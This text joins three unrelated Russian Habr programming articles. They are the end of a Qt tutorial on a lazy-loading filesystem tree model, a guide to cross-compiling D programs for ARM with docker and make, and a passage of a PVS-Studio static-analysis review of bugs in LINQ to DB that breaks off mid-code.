virtual int rowCount(const QModelIndex &parent = QModelIndex()) const;
virtual int columnCount(const QModelIndex &parent = QModelIndex()) const;
virtual QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const;
```
Однако реализация первых двух обычно и составляет 80% проблем, связанных с созданием иерархических моделей. Дело еще и в том, что вызываются они очень часто, поэтому использование в них алгоритмов сложнее O(1), вообще говоря, не желательно.
Я предлагаю хранить указатель на `NodeInfo` в `internalPointer` индекса. В большинстве случаев, именно так и поступают. При реализации `index` ни в коем случае нельзя возвращать несуществующие индексы. При этом не нужно рассчитывать на то, что такой индекс никто не запросит. Для проверки существования индекса есть очень удобная функция `hasIndex`.
```
QModelIndex FilesystemModel::index(int row, int column, const QModelIndex &parent) const
{
if (!hasIndex(row, column, parent)) {
return QModelIndex();
}
if (!parent.isValid()) { // запрашивают индексы корневых узлов
return createIndex(row, column, const_cast(&\_nodes[row]));
}
NodeInfo\* parentInfo = static\_cast(parent.internalPointer());
return createIndex(row, column, &parentInfo->children[row]);
}
```
С `parent` все несколько сложнее. Несмотря на то, что по заданному индексу всегда можно отыскать `NodeInfo` родительского элемента, для создания индекса родительского элемента необходимо также знать его положение среди «братьев».
Тут есть два варианта – или хранить с каждым узлом информацию о его положении, или определять это положение каждый раз заново. Беда с первым — в том, что при добавлении и удалении узлов все нижележащие узлы придется обновлять. Чего мне очень не хотелось. Поэтому я выбрал второй вариант, несмотря на его вычислительную сложность. В реальной модели я бы придерживался такого выбора до тех пор, пока не смог доказать что это – узкое место.
```
QModelIndex FilesystemModel::parent(const QModelIndex &child) const
{
if (!child.isValid()) {
return QModelIndex();
}
NodeInfo* childInfo = static_cast(child.internalPointer());
NodeInfo\* parentInfo = childInfo->parent;
if (parentInfo != 0) { // parent запрашивается не у корневого элемента
return createIndex(findRow(parentInfo), RamificationColumn, parentInfo);
}
else {
return QModelIndex();
}
}
int FilesystemModel::findRow(const NodeInfo \*nodeInfo) const
{
const NodeInfoList& parentInfoChildren = nodeInfo->parent != 0 ? nodeInfo->parent->children: \_nodes;
NodeInfoList::const\_iterator position = qFind(parentInfoChildren, \*nodeInfo);
return std::distance(parentInfoChildren.begin(), position);
}
```
Реализация `rowCount` и `columnCount` тривиальна: в первом случае мы всегда можем определить число дочерних узлов из `NodeInfo::children::size`, а число столбцов фиксировано.
```
int FilesystemModel::rowCount(const QModelIndex &parent) const
{
if (!parent.isValid()) {
return _nodes.size();
}
const NodeInfo* parentInfo = static_cast(parent.internalPointer());
return parentInfo->children.size();
}
int FilesystemModel::columnCount(const QModelIndex &) const
{
return ColumnCount;
}
```
Реализация `data` тоже не представляет собой ничего сложного, всю необходимую информацию получаем из `QFileInfo`. Как минимум, необходимо реализовать поддержку ролей `Qt::DisplayRole` для отображения текста во `view` и `Qt::EditRole`, если предусмотрено редактирование. Данные, полученные от модели с ролью `Qt::EditRole` будут загружены в редактор. Причем, данные, которая модель возвращает при запросе с `Qt::DisplayRole` и `Qt::EditRole` могут различаться. Например, будем отображать файлы без расширений, а редактировать — с расширением.
**Код функции data**
```
QVariant FilesystemModel::data(const QModelIndex &index, int role) const
{
if (!index.isValid()) {
return QVariant();
}
const NodeInfo* nodeInfo = static_cast(index.internalPointer());
const QFileInfo& fileInfo = nodeInfo->fileInfo;
switch (index.column()) {
case NameColumn:
return nameData(fileInfo, role);
case ModificationDateColumn:
if (role == Qt::DisplayRole) {
return fileInfo.lastModified();
}
break;
case SizeColumn:
if (role == Qt::DisplayRole) {
return fileInfo.isDir()? QVariant(): fileInfo.size();
}
break;
default:
break;
}
return QVariant();
}
QVariant FilesystemModel::nameData(const QFileInfo &fileInfo, int role) const
{
switch (role) {
case Qt::EditRole:
return fileInfo.fileName();
case Qt::DisplayRole:
if (fileInfo.isRoot()) {
return fileInfo.absoluteFilePath();
}
else if (fileInfo.isDir()){
return fileInfo.fileName();
}
else {
return fileInfo.completeBaseName();
}
default:
return QVariant();
}
Q\_UNREACHABLE();
}
```
Для того чтобы модель «ожила», осталось заполнить корневые узлы:
```
void FilesystemModel::fetchRootDirectory()
{
const QFileInfoList drives = QDir::drives();
qCopy(drives.begin(), drives.end(), std::back_inserter(_nodes));
}
FilesystemModel::FilesystemModel(QObject *parent) :
QAbstractItemModel(parent)
{
fetchRootDirectory();
}
```
Теперь можно отобразить модель с использованием `QTreeView` и посмотреть результат.
Однако, что же такое! Корневые элементы невозможно развернуть.
Действительно, ведь данные для них еще не загружены.
#### Динамическая подгрузка данных
Чтобы реализовать автоматическую подгрузку данных по мере необходимости, в Qt реализовано следующее API:
```
bool canFetchMore(const QModelIndex &parent) const;
void fetchMore(const QModelIndex &parent);
```
Первая функция должна возвращать `true`, когда данные для заданного родительского элемента можно подгрузить, а вторая – собственно подгружать данные.
Здесь пригодится `NodeInfo::mapped`. Данные можно подгрузить, когда `mapped == false`.
```
bool FilesystemModel::canFetchMore(const QModelIndex &parent) const
{
if (!parent.isValid()) {
return false;
}
const NodeInfo* parentInfo = static_cast(parent.internalPointer());
return !parentInfo->mapped;
}
```
Для подгрузки будем использовать функции, предоставляемые `QDir`. При этом не забываем использовать `beginInsertRows` и `endInsertRows` при изменении числа строк. К сожалению, `QTreeView` выполняет подгрузку только при попытке развернуть узел, и не пытается подгрузить новые данные при прокрутке списка. Поэтому ничего не остается, как загрузить весь список дочерних узлов целиком. Исправить это поведение можно, разве что, созданием своего компонента отображения.
```
void FilesystemModel::fetchMore(const QModelIndex &parent)
{
NodeInfo* parentInfo = static_cast(parent.internalPointer());
const QFileInfo& fileInfo = parentInfo->fileInfo;
QDir dir = QDir(fileInfo.absoluteFilePath());
QFileInfoList children = dir.entryInfoList(QStringList(), QDir::AllEntries | QDir::NoDotAndDotDot, QDir::Name);
beginInsertRows(parent, 0, children.size() - 1);
parentInfo->children.reserve(children.size());
for (const QFileInfo& entry: children) {
NodeInfo nodeInfo(entry, parentInfo);
nodeInfo.mapped = !entry.isDir();
parentInfo->children.push\_back(std::move(nodeInfo));
}
parentInfo->mapped = true;
endInsertRows();
}
```
Делаем подгрузку, запускаем программу, а результата – нет. Корневые узлы все также невозможно развернуть. Все дело в том, что `QTreeView` использует функцию `hasChildren` для проверки того, есть ли у узла дочерние элементы, и полагает, что развернуть можно только те узлы, у которых дочерние элементы есть. `hasChildren` же по умолчанию возвращает `true`, только когда число строк и число столбцов для родительского узла больше 0.
В данном случае, такое поведение не подходит. Переопределим функцию `hasChildren` так, чтобы она возвращала `true` для заданного узла, когда у него точно есть или могут быть (когда `mapped ==false`) дочерние узлы.
Можно точно определить, пуста ли директория, но это довольно дорогая операция, использовать ли ее – решать вам.
```
bool FilesystemModel::hasChildren(const QModelIndex &parent) const
{
if (parent.isValid()) {
const NodeInfo* parentInfo = static_cast(parent.internalPointer());
Q\_ASSERT(parentInfo != 0);
if (!parentInfo->mapped) {
return true;//QDir(parentInfo->fileInfo.absoluteFilePath()).count() > 0; -- точное определение того, что директория не пуста
}
}
return QAbstractItemModel::hasChildren(parent);
}
```
Вот теперь модель работает, можно просматривать папки.
Я думаю, на этом можно закончить, для полноты картины можно было бы добавить функцию переименования файлов и папок, создания директорий и отслеживания изменений файловой системы. Но это явно выходит за рамки дозволенного статье на хабр. Чуть более расширенный пример я выложил на [GitHub](https://github.com/Lol4t0/tree-model-example). | https://habr.com/ru/post/172187/ | null | ru | null |
# Как на D писать под ARM
Доброго времени суток, Хабр!
Сегодня я хочу поделиться опытом разработки под миникомпьютеры на linux (RPI, BBB и другие) на языке программирования **D**. Под катом полная инструкция о том как сделать это без боли. Ну или почти… =)
### Почему D?
Когда на работе встала задача написать систему мониторинга под ARM, даже будучи большим поклонником D, я сомневался стоит ли его брать в качестве основного инструмента. В целом я — не прихотливый человек, и на D уже давно, поэтому подумал, что стоит попробовать и… не всё так однозначно. С одной стороны, особых проблем (кроме одной не совсем понятной, которая ушла с приходом новой версии компилятора) не было, с другой, люди, которые занимаются разработкой под ARM, постоянно могут посчитать, что инструментарий не готов от слова совсем. Решать Вам.
### Инструментарий
Могу посоветовать `Visual Studio Code` с плагином `D Programming Language` от тов. WebFreak (Jan Jurzitza). В настройках можно выставить настройку `Beta Stream`, чтобы всегда иметь последнюю версию `serve-d`. Плагин сам устанавливает необходимое ПО.
### Общая структура проекта
В целом получилось достаточно заморочено (в сравнении с обычным проектом на D), но, как мне кажется, вполне гибко и удобно.
```
.
├── arm-lib/
| ├── libcrypto.a
| ├── libssl.a
| └── libz.a
├── docker-ctx/
| ├── Dockerfile
| └── entry.sh
├── source
| └── app.d
├── .gitignore
├── build-docker
├── ddb
├── dub.sdl
├── ldc
└── makefile
```
`arm-lib` — библиотеки, необходимые для работы нашего приложения (собранные под arm)
`docker-ctx` — контекст для сборки docker образа
`entry.sh` — будет выполнять при каждом запуске контейнера некоторые действия, о которых позже
`dub.sdl` — файл проекта на D, позволяет включить сторонние библиотеки и многое другое
`build-docker` — скрипт сборки контейнера (по сути 1 строка, но всё же)
`ddb` — docker D builder — скрипт запуска контейнера (так же одна строка, но на деле так удобней)
`ldc` — скрипт, позволяющий вызвать ldc со всеми нужными параметрами
`makefile` — содержит рецепты сборки для arm и x86 и дополнительные действия
`source/app.d` — исходники проекта
Пара слов о `arm-lib`.
Там лежат файлы, необходимые для работы vibe. Добавлять в репозитарий бинарные файлы — плохой тон. Но здесь для упрощения себе жизни легче сделать именно так. Можно добавить их внутрь контейнера, но тогда, чтобы полностью сформировать рецепт сборки контейнера, нужно будет хранить папку `arm-lib` в `dockert-ctx`. На вкус и цвет...
### Общий алгоритм сборки
```
./ddb make
```
1. `ddb` запускает контейнер, выполняет скрипт `entry.sh`
2. `entry.sh` немного настраивает `dub`, чтобы тот внутри контейнера использовал папку для библиотек, которая будет располагаться в текущей директории, что позволит при повторном запуске сборки заново не выкачивать и не собирать используемые в проекте библиотеки
3. `entry.sh` заканчивается тем, что передаёт управлние входной команде (`make` в нашем случае)
4. `make` в свою очередь читает `makefile`
5. в `makefile` хранятся все флаги для кросс-компиляции и директории для сборки, формируется строка вызова `dub`
6. при вызове в `dub` в качестве компилятора передаётся скрипт `ldc` из текущей директоирии и выставляются переменные окружения
7. в качестве зависимости сборки в `makefile` выставлены runtime библиотеки, которые, при их остутствии, собираются программой `ldc-build-runtime`
8. переменные передаются в скрипт `ldc` и в параметры `dub.sdl`
### Содержание основных файлов
#### Dockerfile
Так как мы будем писать под RPI3, выбираем образ базовой системы `debian:stretch-slim`, там `gcc-arm-linux-gnueabihf` использует ту же версию `glibc` что и официальный дистрибутив raspbian (была проблема с fedora, где мейнтейнер кросскомпилятора использовал слишком свежую версию `glibc`).
```
FROM debian:stretch-slim
RUN apt-get update && apt-get install -y \
make cmake bash p7zip-full tar wget gpg xz-utils \
gcc-arm-linux-gnueabihf ca-certificates \
&& apt-get autoremove -y && apt-get clean
ARG ldcver=1.11.0
RUN wget -O /root/ldc.tar.xz https://github.com/ldc-developers/ldc/releases/download/v$ldcver/ldc2-$ldcver-linux-x86_64.tar.xz \
&& tar xf /root/ldc.tar.xz -C /root/ && rm /root/ldc.tar.xz
ENV PATH "/root/ldc2-$ldcver-linux-x86_64/bin:$PATH"
ADD entry.sh /entry.sh
RUN chmod +x /entry.sh
WORKDIR /workdir
ENTRYPOINT [ "/entry.sh" ]
```
Компилятор `ldc` качается с `github`, где собран на основе актуального `llvm`.
#### entry.sh
```
#!/bin/bash
if [ ! -d ".dpack" ]; then
mkdir .dpack
fi
ln -s $(pwd)/.dpack /root/.dub
exec $@
```
Тут всё просто: если нет папки `.dpack`, то создаём, используем `.dpack` для создания символической ссылки на `/root/.dub`.
Это позволит хранить скачанные `dub`-ом пакеты в папке проекта.
#### build-docker, ddb, ldc
Это три простых однострочных файла. Два из них необязательны, но удобны, но написаны для linux (bash). Для windows придётся создать аналогичные файлы на местном скриптовом или просто запускать руками.
`build-docker` запускает сборку контейнера (вызывается один раз, только для linux):
```
#!/bin/bash
docker build -t dcross docker-ctx
```
`ddb` запускает контейнер для сборки и передаёт параметры (только для linux):
```
#!/bin/bash
docker run -v `pwd`:/workdir -t --rm dcross $@
```
Обратите внимание, что используется имя контейнера `dcross` (само имя не принципиально, но оно должно совпадать в обоих файлах) и для проброса текущей директории в `/workdir` (директория указана как `WORKDIR` в `Dockerfile`) используется команда `pwd` (в win, кажется, нужно использовать `%CD%`).
`ldc` запускает `ldc`, как ни странно, при этом используя переменные окружения (только linux, но запускается в контейнере, так что для сборки под win изменения не требует):
```
#!/bin/bash
$LDC $LDC_FLAGS $@
```
#### dub.sdl
Для примера он будет достаточно прост:
```
name "chw"
description "Cross Hello World"
license "MIT"
targetType "executable"
targetPath "$TP"
dependency "vibe-d" version="~>0.8.4"
dependency "vibe-d:tls" version="~>0.8.4"
subConfiguration "vibe-d:tls" "openssl-1.1"
```
`targetPath` берётся из переменной окружения потому что `dub` некоторые поля рецепта сборки не может специфицировать по платформе (например `lflags "-L.libs" platform="arm"` будет добавлять флаг линковщику только при сборке под arm).
#### makefile
А вот тут самое интересное. По сути `make` не используется для сборки как таковой, он вызывает для этого `dub`, а уже сам `dub` следит за тем что нужно пересобирать, а что нет. Но с помощью `makefile` формируются все необходимые переменные окружения, выполняются дополнительные команды в более сложных случаях (сборка библиотек на С, запаковка файлов обновлений и т.д.).
Содержание `makefile` объёмней остальных:
```
# По умолчанию собираем под arm
arch = arm
# target path -- директория, куда будут собираться бинарные файлы
TP = build-$(arch)
LDC_DFLAGS = -mtriple=armv7l-linux-gnueabihf -disable-inlining -mcpu=cortex-a8
# хитрый приём по замене пробелов точками с запятой
EMPTY :=
SPACE :=$(EMPTY) $(EMPTY)
LDC_BRT_DFLAGS = $(subst $(SPACE),;,$(LDC_DFLAGS))
ifeq ($(force), y)
# принудительно пересобираем все пакеты даже если собраны
# иногда необходимо, т.к. dub не отслеживает некоторые варианты изменений
FORCE = --force
else
FORCE =
endif
ifeq ($(release), y)
BUILD_TYPE = --build=release
else
BUILD_TYPE =
endif
DUB_FLAGS = build --parallel --compiler=./ldc $(FORCE) $(BUILD_TYPE)
$(info DUB_FLAGS: $(DUB_FLAGS))
# использовать путь в контейнере
LDC = ldc2
LDC_BRT = ldc-build-runtime
# директория с исходниками ldc, где будут собираться runtime библиотеки для ARM
LDC_RT_DIR = .ldc-rt
# использовать gcc здесь необходимо только для линковки
GCC = arm-linux-gnueabihf-gcc
ifeq ($(arch), x86)
LDC_FLAGS =
else ifeq ($(arch), arm)
LDC_FLAGS = $(LDC_DFLAGS) -L-L./$(LDC_RT_DIR)/lib -L-L./arm-lib -gcc=$(GCC)
else
$(error unknown arch)
endif
DUB = TP=$(TP) LDC=$(LDC) LDC_FLAGS="$(LDC_FLAGS)" dub $(DUB_FLAGS)
# перечисленные цели не являются файлами
.PHONY: all clean rtlibs stat
# цель по умолчанию
all: rtlibs
$(DUB)
DRT_LIBS=$(addprefix $(LDC_RT_DIR)/lib/, libdruntime-ldc.a libdruntime-ldc-debug.a libphobos2-ldc.a libphobos2-ldc-debug.a)
$(DRT_LIBS):
CC=$(GCC) $(LDC_BRT) -j8 --dFlags="$(LDC_BRT_DFLAGS)" --buildDir=$(LDC_RT_DIR) \
--targetSystem="Linux;UNIX" BUILD_SHARED_LIBS=OFF
# D runtime для ARM
rtlibs: $(DRT_LIBS)
# можно посчитать количество строк кода
stat:
find source -name '*.d' | xargs wc -l
clean:
rm -rf $(TP)
rm -rf .dub
$(LDC_BRT) --buildDir=$(LDC_RT_DIR) --resetOnly
```
Такой `makefile` позволяет собирать проект как под arm, так и под x86 почти одной командой:
```
./ddb make
./ddb make arch=x86 # соберёт в контейнере под x86
make arch=x86 # соберёт на host системе при наличии ldc
```
Файлы для arm попадают в `build-arm`, для x86 в `build-x86`.
#### app.d
Ну и на закуску для полной картины код `app.d`:
```
import vibe.core.core : runApplication;
import vibe.http.server;
void handleRequest(scope HTTPServerRequest req, scope HTTPServerResponse res)
{
if (req.path == "/")
res.writeBody("Hello, World!", "text/plain");
}
void main()
{
auto settings = new HTTPServerSettings;
settings.port = 8080;
settings.bindAddresses = ["::1", "0.0.0.0"];
auto l = listenHTTP(settings, &handleRequest);
scope (exit) l.stopListening();
runApplication();
}
```
Всем же сейчас нужен web =)
### Заключение
В целом не так всё сложно, как кажется с первого взгляда, просто пока не готов универсальный подход. Лично я потратил много времени пытаясь обойтись без `make`. С ним всё пошло как-то проще и вариативней.
Но нужно понимать, что D — не Go, в D принято использовать внешние библиотеки и нужно быть аккуратней с их версиями.
Самый простой способ добыть библиотеку под arm — это скопировать её с рабочего устройства.
### Ссылки
[Здесь](https://github.com/deviator/duseful/tree/master/examples/crosshelloworld) исходный код примера. В этом репозитарии рускоязычным сообществом помаленьку собираем информацию, примеры, ссылки.
[Здесь](https://wiki.dlang.org/Programming_in_D_tutorial_on_Embedded_Linux_ARM_devices) есть дополнительная информация, например о том как собрать для YoctoLinux.
[Лента новостей в вк](https://vk.com/dlang.news) | https://habr.com/ru/post/428982/ | null | ru | null |
# Проверяем качество кода в проектах .NET Foundation: LINQ to DB
.NET Foundation – независимая организация, основанная Microsoft с целью поддержки open source проектов на платформе DotNet. Под их крылом на данный момент собралось множество библиотек, некоторые из которых уже проходили проверку анализатором PVS-Studio. Следующим проектом для проверки анализатором будет LINQ to DB.
### Введение
[LINQ to DB](https://dotnetfoundation.org/projects/linq2db) – фреймворк для работы с базами данных, основанный на LINQ. Он собрал в себе лучшее от предшественников, позволяя работать с различными СУБД, тогда как LINQ to SQL в своё время позволял работать только с MS SQL. Являясь более легковесным и простым, чем LINQ to SQL или Entity Framework, LINQ to DB предоставляет большой контроль и быстрый доступ к данным. Фреймворк небольшой, написан на языке C# и насчитывает более 40 000 строк кода.
LINQ to DB также входит в список проектов .NET Foundation. Мы уже ранее проверяли проекты этой организации: [Windows Forms](https://pvs-studio.com/ru/blog/posts/csharp/0653/), [Xamarin.Forms](https://pvs-studio.com/ru/blog/posts/csharp/0400/), [Teleric UI for UWP](https://pvs-studio.com/ru/blog/posts/csharp/0677/) и др.
Меньше слов – больше дела. Проверим же код LINQ to DB, взятый с официального репозитория на [GitHub](https://github.com/linq2db/linq2db), с помощью нашего статического анализатора [PVS-Studio](https://pvs-studio.com/) и посмотрим, всё ли хорошо у наследника LINQ.
### Deja Vu
Начнём, пожалуй, с самых распространённых случаев, встречавшихся каждому разработчику хоть раз: повторяющийся код.
[V3001](https://pvs-studio.com/ru/w/v3001/) There are identical sub-expressions 'genericDefinition == typeof(Tuple<,,,,,,,>)' to the left and to the right of the '||' operator. TypeExtensions.cs 230
```
public static bool IsTupleType(this Type type)
{
....
if (genericDefinition == typeof(Tuple<>;)
|| genericDefinition == typeof(Tuple<,>)
|| genericDefinition == typeof(Tuple<,,>)
|| genericDefinition == typeof(Tuple<,,,>)
|| genericDefinition == typeof(Tuple<,,,,>)
|| genericDefinition == typeof(Tuple<,,,,,>)
|| genericDefinition == typeof(Tuple<,,,,,,>)
|| genericDefinition == typeof(Tuple<,,,,,,,>)
|| genericDefinition == typeof(Tuple<,,,,,,,>))
{
return true;
}
....
}
```
Первое же сообщение анализатора привлекло мой взгляд. Кто нечасто пользуется кортежами, может подумать, что это обычное последствие copy-paste. Не задумываясь можно предположить, что в последней строке условия у *Tuple<,,,,,,,>* пропущена запятая. Однако даже встроенный в Visual Studio функционал показал мне мою неправоту.
Кортежи в C# разделяются на 8 видов по количеству элементов. 7 из них отличаются лишь разным количеством элементов, от 1 до 7 соответственно. В данном случае они соответствуют первым семи строчкам в условии. И последний, тот самый *Tuple<,,,,,,,>*, включает в себя 8 и более элементов.
В итоге при попытке написать *Tuple<,,,,,,,,>* Visual Studio сообщит нам, что такого кортежа нет. Выходит, в приведенном выше примере ошибка в наличии лишней проверки на соответствие переменной с типом *Tuple<,,,,,,,>,* а не в отсутствующей запятой, как показалось изначально.
А вот следующее сообщение анализатора, попавшееся мне на глаза, уже вызвало пару вопросов.
[V3003](https://pvs-studio.com/ru/w/v3003/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 256, 273. SqlPredicate.cs 256
```
public ISqlPredicate Reduce(EvaluationContext context)
{
....
if (Operator == Operator.Equal)
{
....
}
else
if (Operator == Operator.NotEqual)
{
search.Conditions.Add(
new SqlCondition(false, predicate, true));
search.Conditions.Add(
new SqlCondition(false, new IsNull(Expr1, false), false));
search.Conditions.Add(
new SqlCondition(false, new IsNull(Expr2, true), true));
search.Conditions.Add(
new SqlCondition(false, new IsNull(Expr1, true), false));
search.Conditions.Add(
new SqlCondition(false, new IsNull(Expr2, false), false));
}
else
if (Operator == Operator.LessOrEqual ||
Operator == Operator.GreaterOrEqual)
{
....
}
else if (Operator == Operator.NotEqual)
{
search.Conditions.Add(
new SqlCondition(false, predicate, true));
search.Conditions.Add(
new SqlCondition(false, new IsNull(Expr1, false), false));
search.Conditions.Add(
new SqlCondition(false, new IsNull(Expr2, false), false));
}
else
{
....
}
....
}
```
Анализатор сообщает, что в этом фрагменте присутствуют две ветки с одинаковыми условиями, из-за чего второе условие всегда ложно. На это, кстати, также косвенно указывает другое сообщение анализатора: [V3022](https://pvs-studio.com/ru/w/v3022/) Expression 'Operator == Operator.NotEqual' is always false. SqlPredicate.cs 273.
В примере у нас повторяется условие *Operator == Operator.NotEqual*. Эти две ветки условий выполняют немного отличные операции. Из этого возникает вопрос – а какая из веток действительно требуется по мнению разработчика? После небольшого анализа функции *Reduce* я предположу, что скорее всего разработчикам нужна именно первая ветка со сравнением с *Operator.NotEqual*. Её функционал более схож с ветками *Equal* и *LessOrEqual*. В отличие от двойника, вторая ветка с *NotEqual* имеет абсолютно идентичный функционал с веткой *else*. Вот вам для сравнения [ссылка](https://github.com/linq2db/linq2db/blob/master/Source/LinqToDB/SqlQuery/SqlPredicate.cs) на оригинальный файл, обратите внимание на строчки с 245 по 284.
[V3008](https://pvs-studio.com/ru/w/v3008/) The 'newElement' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 1320, 1315. ConvertVisitor.cs 1320
```
internal IQueryElement? ConvertInternal(IQueryElement? element)
{
....
switch (element.ElementType)
{
....
case QueryElementType.WithClause:
{
var with = (SqlWithClause)element;
var clauses = ConvertSafe(with.Clauses);
if (clauses != null && !ReferenceEquals(with.Clauses, clauses))
{
newElement = new SqlWithClause()
{
Clauses = clauses
};
newElement = new SqlWithClause() { Clauses = clauses };
}
break;
}
....
}
....
}
```
В этом фрагменте автор, видимо, не смог определиться со стилем. Помучившись с выбором, в итоге он оставил оба варианта. Именно это и заметил анализатор. Посоветую всё же определиться и убрать лишнее присвоение. Такое же сообщение анализатор выдал в проекте ещё раз:
[V3008](https://pvs-studio.com/ru/w/v3008/) The 'Stop' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 25, 24. TransformInfo.cs 25
```
public TransformInfo(Expression expression, bool stop, bool @continue)
{
Expression = expression;
Stop = false;
Stop = stop;
Continue = @continue;
}
```
Теперь ситуация иная. Здесь переменной *Stop* сначала присваивается значение *false* и сразу следующей строкой ей присваивается значение параметра *stop*. Логично предположить, что в этом случае требуется убрать первое присвоение, раз оно не используется и мгновенно переписывается значением аргумента.
### Куда убежала переменная?
[V3010](https://pvs-studio.com/ru/w/v3010/) The return value of function 'ToDictionary' is required to be utilized. ReflectionExtensions.cs 34
```
public static MemberInfo[] GetPublicInstanceValueMembers(this Type type)
{
if (type.IsAnonymous())
{
type.GetConstructors().Single()
.GetParameters()
.Select((p, i) => new { p.Name, i })
.ToDictionary(_ => _.Name, _ => _.i);
}
....
}
```
Чего хотел добиться разработчик этим фрагментом? Кажется, здесь не хватает переменной, в которую требуется занести результат выполнения этого выражения. В ином случае становится непонятна логика этих действий. В дальнейшем выполнении функции *GetPublicInstanceValueMembers* нет вызова подобной конструкции, поэтому цель, которую преследовал разработчик, неизвестна. Кажется, этот фрагмент ещё не дописан, так что остается только ожидать дальнейшей разработки.
[V3025](https://pvs-studio.com/ru/w/v3025/) Incorrect format. A different number of format items is expected while calling 'AppendFormat' function. Arguments not used: 1st. ExpressionTestGenerator.cs 663
```
void BuildType(Type type, MappingSchema mappingSchema)
{
....
_typeBuilder.AppendFormat(
type.IsGenericType ?
@"
{8} {6}{7}{1} {2}<{3}>{5}
{{{4}{9}
}}
"
:
@"
{8} {6}{7}{1} {2}{5}
{{{4}{9}
}}
",
MangleName(isUserName, type.Namespace, "T"),
type.IsInterface ? "interface"
: type.IsClass ? "class"
: "struct",
name,
type.IsGenericType ? GetTypeNames(type.GetGenericArguments(), ",")
: null,
string.Join("\r\n", ctors),
baseClasses.Length == 0 ? ""
: " : " + GetTypeNames(baseClasses),
type.IsPublic ? "public "
: "",
type.IsAbstract && !type.IsInterface ? "abstract "
: "",
attr,
members.Length > 0 ? (ctors.Count != 0 ? "\r\n" : "") +
string.Join("\r\n", members)
: string.Empty);
}
```
В данном фрагменте мы видим форматирование строки. Встает вопрос – а куда подевалось упоминание первого аргумента? В первой форматируемой строке у нас использованы индексы от 1 до 9. Но либо разработчику не потребовался аргумент с индексом 0, либо он про него забыл.
[V3137](https://pvs-studio.com/ru/w/v3137/) The 'version' variable is assigned but is not used by the end of the function. Query.cs 408
```
public void TryAdd(IDataContext dataContext, Query query, QueryFlags flags)
{
QueryCacheEntry[] cache;
int version;
lock (_syncCache)
{
cache = _cache;
version = _version;
}
....
lock(_syncCaсhe)
{
....
var versionsDiff = _version - version;
....
_cache = newCache;
_indexes = newPriorities;
version = _version;
}
}
```
В этом примере несколько запутанная ситуация. Сообщение говорит нам, что локальной переменной *version* присвоено значение, но оно не использовано до конца функции. Пройдемся по порядку.
В самом начале *version* присваивается значение из \_*version*. В ходе выполнения значение *version* не изменяется, лишь раз вызываясь для подсчета разницы с *\_version*. И в конце *version* снова присваивается значение *\_version*. Наличие операторов *lock* подразумевает, что во время выполнения фрагмента кода за пределами блокировки с переменной \_*version* параллельно могут происходить изменения извне функции.
В таком случае логично предположить, что в конце требовалось поменять местами *version* и *\_version*. Всё же кажется странным в конце функции присваивать локальной переменной значение глобальной. Анализатор обнаружил ещё одно такое же сообщение в коде проекта: V3137 The 'leftContext' variable is assigned but is not used by the end of the function. ExpressionBuilder.SqlBuilder.cs 1989
### Цикл с одной итерацией
[V3020](https://pvs-studio.com/ru/w/v3020/) An unconditional 'return' within a loop. QueryRunner.cs 751
```
static T ExecuteElement(
Query query,
IDataContext dataContext,
Mapper mapper,
Expression expression,
object?[]? ps,
object?[]? preambles)
{
using (var runner = dataContext.GetQueryRunner(query, 0, expression, ps,
preambles))
{
using (var dr = runner.ExecuteReader())
{
while (dr.Read())
{
var value = mapper.Map(dataContext, runner, dr);
runner.RowsCount++;
return value;
}
}
return Array.Empty.First();
}
}
```
Использовать конструкцию *while (reader.Read())* довольно естественно, когда есть необходимость получить результат выборки из базы данных. Но здесь в цикле без всяких условий стоит *return*, что означает необходимость лишь в одном элементе. Тогда возникает вопрос – зачем использовать цикл? В нашем случае отпадает необходимость в цикле *while*. В моментах, когда из выборки необходимо получить лишь первый элемент, можно обойтись и простым *if*.
### Повторенье – мать ученья
Случаи с повторяющимися проверками не закончились.
[V3022](https://pvs-studio.com/ru/w/v3022/) Expression 'version > 15' is always true. SqlServerTools.cs 250
```
internal static IDataProvider? ProviderDetector(IConnectionStringSettings css,
string connectionString)
{
....
if (int.TryParse(conn.ServerVersion.Split('.')[0], out var version))
{
if (version <= 8)
return GetDataProvider(SqlServerVersion.v2000, provider);
using (var cmd = conn.CreateCommand())
{
....
switch (version)
{
case 8 : return GetDataProvider(SqlServerVersion.v2000, provider);
case 9 : return GetDataProvider(SqlServerVersion.v2005, provider);
case 10 : return GetDataProvider(SqlServerVersion.v2008, provider);
case 11 :
case 12 : return GetDataProvider(SqlServerVersion.v2012, provider);
case 13 : return GetDataProvider(SqlServerVersion.v2016, provider);
case 14 :
case 15 : return GetDataProvider(SqlServerVersion.v2017, provider);
default :
if (version > 15)
return GetDataProvider(SqlServerVersion.v2017, provider);
return GetDataProvider(SqlServerVersion.v2008, provider);
}
}
}
....
}
```
Взглянув на этот фрагмент кода, заметили ли вы ошибку? Анализатор сообщает нам, что в данном примере условие *version > 15* всегда истинно, из-за чего строка *return GetDataProvider(SqlServerVersion.v2008, provider*) является недостижимым кодом. Но взглянем на функцию *ProviderDetector* повнимательнее.
Первое, на что я предлагаю обратить внимание – на условие *version <= 8*. Здесь в коде отсекаются все версии SQLServer до 8 включительно. Но стоит опустить взгляд чуть ниже, как мы видим в операторе *switch* ветку *case 8*, которая выполняет идентичный код. Этот фрагмент является недостижимым кодом, т.к. 8 версия уже не может быть из-за условия выше. И раз уж она всё равно выполняет тот же код, то можно спокойно убрать эту ветку из *switch*.
Второй же момент связан с сообщением анализатора. Как уже сказали ранее, все версии моложе или равные 8 уже не пройдут дальше первого условия. Версии с 9 по 15 отлавливаются в ветках *switch*. В таком случае в ветку *default* попадаем при выполнении условия *version > 15*, что делает проверку этого же условия внутри ветки *default* бессмысленным.
Но остается вопрос, что тогда писать в *GetDataProvider* – *v2017* или *v2008*? Если взглянем на остальные ветки *switch,* то можно предположить следующее: с возрастанием версии год выпуска SQLServer также растет. В таком случае оставляем *SQLServerVersion.V2017*. Исправленный код может выглядеть так:
```
internal static IDataProvider? ProviderDetector(IConnectionStringSettings css,
string connectionString)
{
....
if (int.TryParse(conn.ServerVersion.Split('.')[0], out var version))
{
if (version <= 8)
return GetDataProvider(SqlServerVersion.v2000, provider);
using (var cmd = conn.CreateCommand())
{
....
switch (version)
{
case 9 : return GetDataProvider(SqlServerVersion.v2005, provider);
case 10 : return GetDataProvider(SqlServerVersion.v2008, provider);
case 11 :
case 12 : return GetDataProvider(SqlServerVersion.v2012, provider);
